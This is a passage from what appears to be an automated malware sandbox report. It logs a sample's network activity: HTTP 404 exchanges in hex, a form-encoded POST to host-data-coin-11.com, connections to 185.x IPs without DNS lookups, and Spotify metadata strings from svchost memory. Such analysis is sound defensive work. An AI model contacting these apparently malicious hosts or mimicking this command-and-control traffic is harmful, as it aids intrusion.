72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:24:15 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 34 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b db 76 f8 4c 47 bb 29 c4 b0 66 d3 2f 41 0b ac b7 d9 57 e8 0d 0a 30 0d 0a 0d 0a Data Ascii: 34I:82OTevLG)f/AW0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:24:17 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:24:18 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:24:18 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:24:18 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 33 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b db 76 f8 00 53 87 1d f0 f3 66 e6 23 59 1b f2 fc c4 4a 0d 0a 30 0d 0a 0d 0a Data Ascii: 33I:82OTevSf#YJ0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:24:21 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:24:22 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 32 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b db 76 f8 4f 0a ad 24 c4 d0 66 b1 78 06 50 b9 e1 d9 0d 0a 30 0d 0a 0d 0a Data Ascii: 32I:82OTevO$fxP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:24:24 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:24:25 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 33 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b db 76 f8 42 06 8e 51 de c4 66 e6 23 59 1b f2 fc c4 4a 0d 0a 30 0d 0a 0d 0a Data Ascii: 33I:82OTevBQf#YJ0

Source: unknown	TCP traffic detected without corresponding DNS query: 185.186.142.166
Source: unknown	TCP traffic detected without corresponding DNS query: 185.186.142.166
Source: unknown	TCP traffic detected without corresponding DNS query: 185.186.142.166
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171

Source: svchost.exe, 00000018.00000003.408440029.000001C13D39D000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","N equals www.facebook.com (Facebook)
Source: svchost.exe, 00000018.00000003.408440029.000001C13D39D000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","N equals www.twitter.com (Twitter)
Source: svchost.exe, 00000018.00000003.408440029.000001C13D39D000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.408469894.000001C13D3AE000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2022-01-07T11:33:20.1626869Z\|\|.\|\|d5cdcec3-04df-404e-ba07-3240047c89f9\|\|1152921505694348672\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailab
Source: svchost.exe, 00000018.00000003.408440029.000001C13D39D000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.408469894.000001C13D3AE000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2022-01-07T11:33:20.1626869Z\|\|.\|\|d5cdcec3-04df-404e-ba07-3240047c89f9\|\|1152921505694348672\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailab

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://cosjvii.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 211Host: host-data-coin-11.com

Source: unknown	HTTPS traffic detected: 185.233.81.115:443 -> 192.168.2.3:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.129.233:443 -> 192.168.2.3:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.38.221:443 -> 192.168.2.3:49858 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49860 version: TLS 1.2
